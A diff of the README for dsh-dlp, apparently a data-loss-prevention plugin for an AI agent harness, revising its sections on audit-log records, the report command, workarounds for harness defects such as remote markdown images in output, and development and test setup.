- A `result-redaction` record may also carry `unicode`, a count of invisible-character runs per
539
- class โ€” counts only, because a hidden instruction is exactly the content this file must not
540
- repeat. A record is written whenever there is something to say, including a result that was
541
- only counted and a result whose tier-2 scan was truncated.
542
- A record carries no free-text reason: the spans are the whole description of what matched, so
543
- nothing built from a candidate path or command line can reach the file. An audit write failure
544
- is reported and swallowed rather than turned into a denial: the sink is evidence, not
545
- enforcement, and a full disk should not take the agent down.
546
-
547
- Reported means `process.stderr` **and** `ctx.logger`, for that failure and for an invalid
548
- policy file. The logger alone is not enough: its default exporter is an in-memory 1000-entry
549
- ring buffer and no shipped bundle mounts a console exporter, so a message sent only there is
550
- invisible on a stock install. `process.stderr` is what the headless runner itself writes to.
551
-
552
- ---
97
+ [Configuration reference โ†’](https://charlotten7.github.io/dsh-dlp/configuration.html) ยท
98
+ [What gets denied โ†’](https://charlotten7.github.io/dsh-dlp/denials.html) ยท
99
+ [Redaction and detection โ†’](https://charlotten7.github.io/dsh-dlp/redaction.html)
553
100
 
554
101
  ## Reading the audit log
555
102
 
556
- The package installs a `dsh-dlp` command that reads the JSONL sink and summarises it. It
557
- imports nothing from the harness, so it runs wherever the package is installed, with no profile
558
- and no `dsh` on the path:
559
-
560
103
  ```sh
561
- dsh-dlp report # everything in $DSH_HOME/dsh-dlp.audit.jsonl
562
- dsh-dlp report --since 24h # or an ISO timestamp
563
- dsh-dlp report --session <id>
564
- dsh-dlp report --would-have # only the calls that were let through
565
- dsh-dlp report --log /var/log/dsh-dlp.audit.jsonl
104
+ dsh-dlp report # everything in the audit sink
105
+ dsh-dlp report --since 24h
106
+ dsh-dlp report --kind guard-deny
566
107
  ```
567
108
 
568
- It prints counts by decision, by rule, by tool and by invisible-character class, then the ten
569
- most recent decisions. `--would-have` drops the denials and leaves the redactions and the
570
- invisible-character findings: those are the calls that ran, with their results rewritten, and
571
- they are what a policy that denied instead of rewriting would have blocked.
109
+ Every record carries a rule id, rule version, span offsets and a keyed hash โ€” never the matched
110
+ value.
572
111
 
573
- The sink is append-only and a run can be interrupted mid-append, so a line that does not parse
574
- as a record is counted and reported rather than trusted. If the deployment set `auditLog` to
575
- somewhere other than the default, pass `--log`; the command says which file it looked at.
112
+ [Audit record format โ†’](https://charlotten7.github.io/dsh-dlp/audit.html)
576
113
 
577
- A plugin installed into a profile puts its bin in that profile's `node_modules/.bin`, which is
578
- not on `PATH`. Run it from there, or install the package globally:
114
+ ## Mitigations for defects in the harness itself
579
115
 
580
- ```sh
581
- "$DSH_HOME/profiles/<name>/node_modules/.bin/dsh-dlp" report
582
- ```
116
+ Three registrations work around defects in DeepSeek Harness rather than in your configuration:
117
+ remote markdown images in assistant output, a tool call rewritten between `tools/pre-execute` and
118
+ the guard, and a telemetry redactor that cannot run under the shipped default. **None of them
119
+ closes its channel** and an upstream fix is better in all three cases.
583
120
 
584
- ---
121
+ [What each one does and does not close โ†’](https://charlotten7.github.io/dsh-dlp/harness-mitigations.html)
585
122
 
586
123
  ## Development
587
124
 
@@ -589,12 +126,16 @@ not on `PATH`. Run it from there, or install the package globally:
589
126
  nvm use 22 # Node ^22.19.0 || >=24, and pnpm 11
590
127
  pnpm install
591
128
  pnpm run typecheck
592
- pnpm run test # unit
593
129
  pnpm run test:coverage
594
130
  pnpm run test:e2e # boots a real dsh against a mock model; no API key
595
131
  ```
596
132
 
597
- The E2E harness boots a `dsh` checkout beside this one (`../dsh`); point `DSH_REPO` elsewhere
598
- to override. That checkout needs `pnpm run build:lib:host` to have run at least once. Set
599
- `DSH_CLI` to an installed `node_modules/@deepseek-ai/dsh/lib/bin.js` to run against the
600
- published CLI instead, which needs no monorepo โ€” that is what CI does.
133
+ Coverage is gated at 100% per file: this is a security control, so an untested branch in a deny
134
+ path is an unproven deny path.
135
+
136
+ Design decisions and their rationale live in [ADR.md](ADR.md). Security policy is in
137
+ [SECURITY.md](SECURITY.md).
138
+
139
+ ## License
140
+
141
+ MIT